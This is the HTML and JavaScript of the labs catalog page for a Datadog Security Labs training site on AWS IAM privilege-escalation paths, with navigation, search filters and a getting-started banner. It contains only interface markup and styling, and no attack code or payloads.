+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
